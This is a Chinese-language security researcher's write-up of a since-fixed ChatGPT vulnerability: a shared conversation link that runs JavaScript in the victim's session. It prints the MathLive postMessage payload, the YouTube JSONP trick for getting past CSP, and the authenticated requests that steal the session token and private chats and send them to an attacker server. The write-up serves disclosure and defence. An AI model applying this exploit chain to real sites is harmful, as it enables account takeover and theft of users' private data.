ChatGPT 曝高危漏洞 分享链接可劫持账户
安全团队发现 ChatGPT 存在严重逻辑漏洞,攻击者可通过恶意分享链接在受害者已登录会话中执行任意 JavaScript。该漏洞允许攻击者枚举对话列表、窃取未共享的私有内容并调用认证 API,实现完全账户接管。OpenAI 已于 10 月 26 日修复此 P1 级安全问题。
报道正文
本文目录10 个章节
通过绕过 ChatGPT 的沙箱机制和内容安全策略,我们的研究团队仅向用户发送一个链接,即可接管任何人的账户。
2026 年 10 月 26 日 已修复 P1 严重级别
2026 年 10 月,我们发现了一种方法,可以将普通的公开 ChatGPT 分享链接转化为攻击者控制的 JavaScript 代码,并在打开该链接的已登录用户的会话中运行。
攻击者可以创建一个恶意对话,利用 ChatGPT 正常的分享功能将其发布,并将链接发送给其他用户。当受害者打开该分享链接时,载荷(payload)将以 chatgpt.com 的身份执行,并访问受害者的已认证 Web 会话。
我们确认,这段代码可以枚举受害者的对话列表,检索从未与攻击者共享过的私人对话内容,并将这些数据发送到外部服务器。该载荷不仅限于修改页面或显示弹窗——它可以直接以受害者的身份调用 ChatGPT 的已认证 API,从而实质上允许我们接管受害者的 ChatGPT 账户。
受害者无需安装 App、加入 Project、粘贴代码或打开开发者工具。打开分享链接是唯一需要的操作。
OpenAI 于 10 月 26 日修复了此问题,并将报告定级为 P1。
这一攻击链始于两个看似无害的功能:图表(graph)和 HTML 预览(HTML Preview)。
flowchart TD
A["Attacker publishes a ChatGPT conversation"] --> B["Victim opens the public share"]
B --> C["HTML Preview crosses into the main chatgpt.com page"]
C --> D["JavaScript runs in the victim's signed-in session"]
D --> E["Any action on chatgpt.com as the victim:<br/>read private chats and files, change the account"]技术详解
始于一个图表和一个预览
这项研究的起点是一个简单的问题:如果预览代码被隔离在一个不同的网站中,它还能与哪些部分进行通信?
ChatGPT 可以使用其预览(Preview)功能将 HTML 代码块转换为一个小型的工作网页。由于该页面可能包含任意代码,ChatGPT 明智地将其运行在另一个 Web 地址上的受限框架内。预览可以运行 JavaScript,但浏览器将其视为不同的网站,因此它无法直接检查周围的已登录 ChatGPT 主页面。
起初,这种隔离似乎完全按预期工作。预览中的代码无法读取 parent.document,即主要的 ChatGPT 页面。这本应是问题的终点。
这段对话中还包含一个常规的交互式图表。在幕后,该图表加载了一个名为 MathLive 的数学库。加载它不仅仅是为了绘制图表:它还在 ChatGPT 主页面中安装了一个监听器,用于处理与 MathLive 屏幕键盘相关的消息。
浏览器调用相关 API postMessage。这是一种合法的跨帧信息交换方式,即使浏览器阻止它们读取彼此的页面也能生效。你可以将其想象为一个邮件投递口:受限的 Preview(预览)无法直接进入主页面,但它仍然可以通过这个投递口放入一条消息。
只有当接收者检查消息发送者身份时,这种做法才是安全的。
对于我们感兴趣的设置项,MathLive 并没有进行这项检查。它的监听器接受了一条更改虚拟键盘布局的消息,而该布局允许包含 HTML。图表安装了接收器;Preview 则提供了一个不受信任的发送者。两个毫不相关的功能意外地在沙箱之间创建了一条通道。
本不该生效的消息
Preview 发送了两条消息。第一条用我们的 HTML 替换了虚拟键盘布局。第二条告诉 MathLive 显示键盘,从而触发其渲染新布局:
top.postMessage({
type: "mathlive#virtual-keyboard-message",
action: "update-setting",
layouts: [{
label: "Compatibility",
layers: [{ id: "compatibility", markup }]
}]
}, "*");
top.postMessage({
type: "mathlive#virtual-keyboard-message",
action: "show",
animate: false
}, "*");参数
MathLive 识别出了公共消息类型,但其顶层控制器使用的 origin(源)策略为 none,这意味着它接受来自任何 Web 地址的消息。此外,它也不要求 update-setting 消息必须来自之前已批准的窗口。任何能够触达监听器并知道消息格式的人都可以替换布局。
当键盘打开时,MathLive 将提供的布局拼接成一个 HTML 字符串,并将其赋值给真实 ChatGPT 页面中的 innerHTML。一个名为 createHTML 的辅助函数起初看起来可能会对该值进行净化处理。但它并没有这样做;它将字符串标记为可信,并原样传递了我们的 HTML。
这令人兴奋,但我们仍未实现 JavaScript 执行。通过 innerHTML 插入的 script 标签不会自动运行。
下一步是使用带有 srcdoc 属性的 iframe,这是一项浏览器功能,允许嵌入的框架直接在属性中携带其 HTML:
<iframe srcdoc="..."></iframe>参数
MathLive 将这个框架插入到 ChatGPT 的主文档中,且未包含 sandbox 属性。这赋予了我们两个有用的特性。首先,srcdoc 创建了一个全新的文档,其中外部脚本可以执行。其次,由于该框架是由主 ChatGPT 页面创建的,浏览器赋予了它 https://chatgpt.com 的 Web 身份标识。因此,新框架内的代码可以访问父页面。
利用 YouTube JSONP 绕过 CSP
ChatGPT 的内容安全策略(Content Security Policy,简称 CSP)再次阻止了我们。CSP 控制页面可以加载哪些脚本,该策略正确地拦截了内联 JavaScript。然而,它确实允许从 YouTube 加载脚本。
YouTube 的 oEmbed 端点支持一种类似 JSONP 的回调参数。JSONP 响应是 JavaScript 而非普通的 JSON。该端点试图拒绝无效的回调,但在返回验证错误之前,它将回调放入了响应中:
https://www.youtube.com/oembed?callback=globalThis.__marker=31337;void参数
响应以如下方式开始:
// API callback
globalThis.__marker=31337;void({
"error": {
"code": 400,
"message": "Invalid JSONP callback name: ..."
}
});参数
通过在回调末尾添加 ;void,我们使 YouTube 追加的对象变得无害。由于 ChatGPT 的 CSP 已经允许 YouTube,浏览器将此响应作为脚本加载,并在新框架内运行我们的回调。
现在,我们在 chatgpt.com 的身份下运行任意 JavaScript。原始的预览(Preview)仍然隔离在其独立的 Web 地址上;我们通过说服主页面上的一个受信任组件为我们创建一个未经沙箱限制的新文档,从而跨越了这一边界。
将实验室漏洞转化为一个公开链接
到目前为止,这是一个有用的沙箱逃逸方法,但第一个可工作的版本并不是一个令人信服的真实世界攻击。它使用了一个由研究人员控制的 ChatGPT App 作为发送者。受害者首先需要连接或调用该 App。
接下来,我们尝试通过原生 HTML 附件来传递载荷。ChatGPT 在同一个沙箱化的预览中打开了该附件,因此它可以发送恶意的 MathLive 消息。
然而,当我们将会话导出为公开分享链接时,附件仍然存在,但之前的图表却消失了。该图表至关重要,因为它在主页面中加载了 MathLive 并安装了存在漏洞的消息监听器。如果没有它,附件虽然仍能发送消息,但没有任何程序在监听或处理这些消息。
突破点在于将这两个部分直接放入一个普通的公开会话中:
- 一个真实的图表在主页面中初始化了 MathLive。
- 随后由助手生成的 HTML Preview 发送了两条消息。
由此产生的 /share/<id> 链接为其他用户保留了完整的攻击链。攻击者可以像发送任何共享的 ChatGPT 会话一样分发它——通过电子邮件、聊天、支持工单或社交媒体帖子。受害者无需安装任何东西,无需加入攻击者的工作区,也无需通过攻击者控制的流程进行身份验证。他们只需访问攻击者分享的 ChatGPT URL。
我们观察到了两种交互版本。在最稳定的复现中,受害者打开分享链接并点击一次 ChatGPT 正常的 Preview(预览)按钮。后来我们将 HTML 块标记为可预览,以便 ChatGPT 自动打开它。在该版本中,打开链接是受害者唯一的点击操作。我们在另一个独立账户中三次复现了自动路径,包括在硬刷新后,警报大约在 4.5 秒后出现。
图表和 Preview 是独立加载的,因此载荷偶尔可能在 MathLive 就绪之前发送其消息。最终的载体通过在有限时间内重试相同的两条消息来处理这种竞态条件。主页面中的一个守卫机制确保私有会话证明和出站请求仅运行一次。

公开分享修改了真实的 ChatGPT 页面
此时,公开分享可以显示一个被浏览器标识为来自 chatgpt.com 的警报,并且可以向主页面添加横幅。这证明了我们的代码在哪里运行。但它尚未展示为什么这个漏洞如此重要。
仅显示警报是不够的
此时,显示警报是该漏洞最无趣的功能。JavaScript 以 chatgpt.com 的身份运行,这意味着它可以利用与正常 Web 应用程序相同的已认证上下文来与 ChatGPT 进行交互。
该载荷读取了页面已获取的会话信息,并利用这些信息调用 ChatGPT 的对话 API。首先,它枚举了受害者的近期对话记录。随后,它可以请求选定私密对话的消息数据:
GET /backend-api/conversations?...&limit=20&order=updated&offset=0
GET /backend-api/conversations/<conversation-id>?num_turns=2这是直接的认证 API 访问,而非抓取屏幕上恰好可见的文本。目标对话与恶意分享无关,且从未向攻击者共享过。
一旦注入的 JavaScript 能够获取响应数据,将数据发送至站外就变得轻而易举。该载荷创建了一个普通的图像请求,指向我们控制的服务器。
我们特意只将响应的一小部分发送至站外。由于注入的代码已经接收到了认证的对话响应并能读取其内容,因此漏洞并不局限于该特定值。

受控证明:私密对话数据可离开受害者会话
最终结果是一个实用的跨用户数据窃取原语(primitive)。一个恶意的公开对话可以在另一位已登录用户的 ChatGPT 会话中执行,枚举私密对话,检索私密消息内容,并将选定数据发送至攻击者控制的服务器。
由于代码是在 Web 应用的认证访问权限下运行的,其影响范围并不固有地局限于我们在概念验证中使用的对话端点。通过 ChatGPT 认证前端 API 暴露的其他数据和操作也处于相同的安全边界内。本质上,我们可以代表受害者的 ChatGPT 账户执行任何操作。
问题所在及 OpenAI 的修复措施
Preview 沙箱本身运行正常。Preview 内部的代码无法直接读取 ChatGPT 页面。问题在于主页面的另一个组件愿意接受其指令。
以下三个设计决策将该失误转化为完整的利用链:
- MathLive 在未验证发送帧身份的情况下,接受了改变状态的消息。
- 消息格式允许将原始 HTML 作为键盘布局数据提供。
- 该 HTML 可以创建一个未沙箱化的文档,并继承
chatgpt.com的身份。
针对 YouTube 的响应只是绕过 CSP(内容安全策略)的最终手段,而非根本原因。仅屏蔽该端点虽然能切断一条执行 JavaScript 的路径,但仍会留下一个不受信任的预览窗口向 ChatGPT 注入 HTML 的可能。
OpenAI 复现了 JavaScript 执行过程以及私密对话泄露的证明。修复方案已在 ChatGPT Web 前端的两个版本中推出。在灰度发布期间,CSP 变更阻断了原始攻击链的一部分,但其中一个版本仍需更新。10 月 26 日,OpenAI 确认这两个版本现在均拒绝报告中使用的跨帧 MathLive 消息,并将该问题标记为已解决。
防御层面的教训相当简单:
- 消息接收方应同时验证发送方的 Web 地址以及被明确授权的确切窗口。
- 跨窗口设置不应包含原始 HTML。
- 当动态创建的文档内容可能受到不受信任框架的影响时,应保持沙箱隔离状态。
- CSP 应作为备用控制措施,而不是在攻击者控制的 HTML 到达主站点后唯一的屏障。
这个漏洞之所以有趣,是因为每个单独的功能看起来都合情合理。预览功能是隔离的。图表可以加载数学键盘。框架之间可以交换消息。CSP 允许了一个主要的媒体提供商。公开对话可以被分享。只有当所有这些功能在一个页面中组合在一起时,漏洞才会显现。
时间线
| 日期 | 事件 |
|---|---|
| 2026 年 10 月 13 日 | 针对 ChatGPT 生产代码确认了 MathLive 消息到 HTML 的攻击路径。 |
| 10 月 14 日 | 通过正常 UI 复现了攻击链,并将固定警报升级为任意 JavaScript 执行。 |
| 10 月 16 日 | 确认了通过一次预览点击即可在不同账户和工作区之间实现公开分享投递。 |
| 10 月 17 日 | 确认了从分享导航自动触发预览,并在硬刷新后复现了这一行为。 |
| 10 月 18 日 | 向 OpenAI 的漏洞赏金计划提交了报告。 |
| 10 月 19 日 | 添加了受控的私密聊天披露证明。 |
| 10 月 21 日 | OpenAI 复现了该问题;严重程度从最初的 P2 分诊提升至 P1。 |
| 10 月 22 日 | OpenAI 报告称一个 Web 前端已修复,而第二个前端仍在更新中。 |
| 10 月 23 日 | CSP 变更阻断了部分攻击链,但其中一个前端更新仍未完成。 |
| 10 月 26 日 | OpenAI 确认两个前端均拒绝了报告中的消息,解决了该问题,并授予总计 5,000 美元的赏金。 |
技术说明
上文的主线故事已包含完整的漏洞利用链。以下细节供希望深入追踪生产代码与载荷转换过程的读者参考。
相关反混淆后的控制流等价于:
window.addEventListener("message", (event) => {
if (event.data?.type !== "mathlive#virtual-keyboard-message") return;
if (!validateOrigin(event.origin, this.originValidator)) return;
this.handleMessage(event.data, event.source);
});
if (message.action === "update-setting" && message.layouts) {
this.layouts = message.layouts;
}参数
布局规范化过程保留了 layouts[].layers[].markup。显示键盘时,最终执行了如下等效操作:
keyboardContainer.innerHTML = MathfieldElement.createHTML(keyboardHTML);参数
createHTML 仅充当恒等函数或 Trusted Types 包装器,并非净化器(sanitizer)。Trusted Types 可以限制谁可以向 HTML 注入点赋值,但恒等策略并不能使攻击者控制的字符串变得安全。
解析器与 CSP 的过渡。 innerHTML 操作可以创建一个 iframe,但直接以这种方式插入的脚本将保持惰性(inert)。未沙箱化的 srcdoc 触发了全新的 HTML 文档解析,并继承了嵌入方 ChatGPT 的来源(origin)。该文档还继承了测试期间捕获的有效 CSP,后者阻止了内联代码,但在 script-src-elem 中允许 www.youtube.com。
oEmbed 响应返回 HTTP 200,头部包含 Content-Type: text/javascript; charset=UTF-8 和 X-Content-Type-Options: nosniff;未观察到 Cross-Origin-Resource-Policy 头。Google 重写了回调中的尖括号,因此载荷使用经典的 function 语法而非箭头函数。程序末尾的 ;void 消耗了端点追加的错误对象。
对于私聊证明,函数通过 toString() 转换为源代码,双引号转换为单引号,空白字符被折叠。随后 URLSearchParams 将其编码进回调,脚本 URL 在 <script src> 中进行 HTML 转义,整个元素再次被转义并放入 iframe 的 srcdoc 属性中。最终的回调长度为 5,533 个字符;YouTube URL 长度为 7,309 个字符;script 元素长度为 7,337 个字符;最终的 iframe 标记长度为 7,390 个字符。
已认证的读取。 同源框架从父文档中解析了 #client-bootstrap,提取了会话访问令牌和账户 ID,并要求当两者均存在时,令牌中的账户 ID 必须与会话一致。它使用了以下内存中的请求头:
Authorization: Bearer <victim token>
ChatGPT-Account-ID: <victim account>
Accept: application/json主要请求如下:
GET /backend-api/conversations?exclude_conversation_origin=tpp&expand=false&is_archived=false&is_starred=false&limit=20&order=updated&offset=0
GET /backend-api/conversations/<id>?num_turns=2&include_has_versions=true只有当详情请求返回 403、404 或 405 错误时,代码才会尝试使用旧版 /backend-api/conversation/<id>?include_full_conversation=true 路由。验证过程仅传输响应中选定的少量值。在发起外部图像请求之前,它会清除对令牌、账户、bootstrap、会话以及请求头的引用。
关键要点
- 隔离强度取决于跨越隔离层的每一个桥梁。如果特权监听器信任来自错误发送者的消息,沙箱框架仍可能危害其父级页面。
postMessage接收方在接受状态变更指令之前,必须同时验证event.origin和event.source。- HTML 注入可通过全新的、未沙箱化的文档以及允许的第三方脚本端点演变为 JavaScript 执行。CSP(内容安全策略)是有价值的纵深防御手段,但它无法使不安全的渲染路径变得安全。
- 同源 JavaScript 的影响必须在受害者的已认证上下文中进行评估。一旦代码以
chatgpt.com的身份运行,它就能访问普通前端可用的相同私有数据和账户操作——而不仅仅是显示一个 alert 弹窗。 - 跨功能测试至关重要。这条攻击链存在于公共分享、Preview、MathLive、框架创建以及 CSP 之间的缝隙中,而非单独存在于某一个功能模块内。
更广泛的教训是,安全边界必须在整个产品范围内保持稳固,而不仅仅是在单个组件内部。任何公开或可分享的界面都应被视为攻击者可控的输入,每一帧间的消息都应经过身份验证,且不可信的标记在其整个渲染路径中应保持沙箱化。